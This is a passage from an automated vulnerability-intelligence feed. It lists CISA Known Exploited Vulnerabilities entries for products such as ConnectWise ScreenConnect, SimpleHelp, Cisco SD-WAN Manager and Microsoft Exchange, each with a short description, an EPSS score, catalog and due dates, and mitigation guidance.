(https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25). Sources: CISA KEV entry CVE-2026-41940: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25 CISA added this entry on 2026-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 30, 2026; federal due date May 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ConnectWise ScreenConnect Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-1708 ConnectWise ScreenConnect Path Traversal Vulnerability (Apr 28, 2026). ConnectWise ScreenConnect contains a path traversal vulnerability which could allow an attacker to execute remote code or directly impact confidential data and critical systems. EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25). Sources: CISA KEV entry CVE-2024-1708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25 CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 28, 2026; federal due date May 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Protection Mechanism Failure Vulnerability https://kevwire.com/record/CVE-2026-32202 Microsoft Windows Protection Mechanism Failure Vulnerability (Apr 28, 2026). Microsoft Windows Shell contains a protection mechanism failure vulnerability that allows an unauthorized attacker to perform spoofing over a network. EPSS 70.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25). Sources: CISA KEV entry CVE-2026-32202: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25 CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 28, 2026; federal due date May 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-823X Command Injection Vulnerability https://kevwire.com/record/CVE-2025-29635 D-Link DIR-823X Command Injection Vulnerability (Apr 24, 2026). D-Link DIR-823X contains a command injection vulnerability that allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 87.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25). Sources: CISA KEV entry CVE-2025-29635: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25 CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung MagicINFO 9 Server Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-7399 Samsung MagicINFO 9 Server Path Traversal Vulnerability (Apr 24, 2026). Samsung MagicINFO 9 Server contains a path traversal vulnerability that could allow an attacker to write arbitrary files as system authority. EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25 CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SimpleHelp Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-57728 SimpleHelp Path Traversal Vulnerability (Apr 24, 2026). SimpleHelp contains a path traversal vulnerability that allows admin users to upload arbitrary files anywhere on the file system by uploading a crafted zip file (i.e. zip slip). This can be exploited to execute arbitrary code on the host in the context of the SimpleHelp server user. EPSS 64.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25). Sources: CISA KEV entry CVE-2024-57728: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25 CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SimpleHelp Missing Authorization Vulnerability https://kevwire.com/record/CVE-2024-57726 SimpleHelp Missing Authorization Vulnerability (Apr 24, 2026). SimpleHelp contains a missing authorization vulnerability that could allow low-privileged technicians to create API keys with excessive permissions. These API keys can be used to escalate privileges to the server admin role. EPSS 66.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25). Sources: CISA KEV entry CVE-2024-57726: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25 CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Marimo Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2026-39987 Marimo Remote Code Execution Vulnerability (Apr 23, 2026). Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25). Sources: CISA KEV entry CVE-2026-39987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25 CISA added this entry on 2026-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 23, 2026; federal due date May 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Defender Insufficient Granularity of Access Control Vulnerability https://kevwire.com/record/CVE-2026-33825 Microsoft Defender Insufficient Granularity of Access Control Vulnerability (Apr 22, 2026). Microsoft Defender contains an insufficient granularity of access control vulnerability that could allow an authorized attacker to escalate privileges locally. EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25). Sources: CISA KEV entry CVE-2026-33825: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25 CISA added this entry on 2026-04-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 22, 2026; federal due date May 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability https://kevwire.com/record/CVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability (Apr 20, 2026). Cisco Catalyst SD-WAN Manager contains an incorrect use of privileged APIs vulnerability due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges. EPSS 25.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20122: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability https://kevwire.com/record/CVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability (Apr 20, 2026). Cisco Catalyst SD-WAN Manager contains an exposure of sensitive information to an unauthorized actor vulnerability that could allow remote attackers to view sensitive information on affected systems. EPSS 31.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kentico Xperience Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-2749 Kentico Xperience Path Traversal Vulnerability (Apr 20, 2026). Kentico Xperience contains a path traversal vulnerability that could allow an authenticated user's Staging Sync Server to upload arbitrary data to path relative locations. EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2749: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PaperCut NG/MF Improper Authentication Vulnerability https://kevwire.com/record/CVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability (Apr 20, 2026). PaperCut NG/MF contains an improper authentication vulnerability that could allow remote attackers to bypass authentication on affected installations via the SecurityRequestFilter class. EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability https://kevwire.com/record/CVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability (Apr 20, 2026). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that could allow attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability https://kevwire.com/record/CVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability (Apr 20, 2026). Cisco Catalyst SD-WAN Manager contains a storing passwords in a recoverable format vulnerability that allows an authenticated, local attacker to gain DCA user privileges by accessing a credential file for the DCA user on the filesystem as a low-privileged user. EPSS 7.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability https://kevwire.com/record/CVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability (Apr 20, 2026). Quest KACE Systems Management Appliance (SMA) contains an improper authentication vulnerability that could allow attackers to impersonate legitimate users without valid credentials. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32975: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JetBrains TeamCity Relative Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability (Apr 20, 2026). JetBrains TeamCity contains a relative path traversal vulnerability that could allow limited admin actions to be performed. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25). Sources: CISA KEV entry CVE-2024-27199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25 CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache ActiveMQ Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-34197 Apache ActiveMQ Improper Input Validation Vulnerability (Apr 16, 2026). Apache ActiveMQ contains an improper input validation vulnerability that allows for code injection. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25 CISA added this entry on 2026-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 16, 2026; federal due date Apr 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Remote Code Execution https://kevwire.com/record/CVE-2009-0238 Microsoft Office Remote Code Execution (Apr 14, 2026). Microsoft Office Excel contains a remote code execution vulnerability that could allow an attacker to take complete control of an affected system if a user opens a specially crafted Excel file that includes a malformed object. EPSS 42.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25). Sources: CISA KEV entry CVE-2009-0238: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25 CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 14, 2026; federal due date Apr 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Server Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-32201 Microsoft SharePoint Server Improper Input Validation Vulnerability (Apr 14, 2026). Microsoft SharePoint Server contains an improper input validation vulnerability that allows an unauthorized attacker to perform spoofing over a network. EPSS 43.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25). Sources: CISA KEV entry CVE-2026-32201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25 CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 14, 2026; federal due date Apr 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability https://kevwire.com/record/CVE-2012-1854 Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability (Apr 13, 2026). Microsoft Visual Basic for Applications (VBA) contains an insecure library loading vulnerability that could allow for remote code execution. EPSS 20.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1854: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Link Following Vulnerability https://kevwire.com/record/CVE-2025-60710 Microsoft Windows Link Following Vulnerability (Apr 13, 2026). Microsoft Windows contains a link following vulnerability that allows for privilege escalation EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25). Sources: CISA KEV entry CVE-2025-60710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-21529 Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability (Apr 13, 2026). Microsoft Exchange Server contains a deserialization of untrusted data that allows an authenticated attacker to achieve remote code execution. EPSS 59.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2023-36424 Microsoft Windows Out-of-Bounds Read Vulnerability (Apr 13, 2026). Microsoft Windows Common Log File System Driver contains an out-of-bounds read vulnerability that could allow a threat actor for privileges escalation EPSS 12.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36424: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat Use-After-Free Vulnerability https://kevwire.com/record/CVE-2020-9715 Adobe Acrobat Use-After-Free Vulnerability (Apr 13, 2026). Adobe Acrobat contains a use-after-free vulnerability that allows for code execution EPSS 33.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25). Sources: CISA KEV entry CVE-2020-9715: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25 CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if 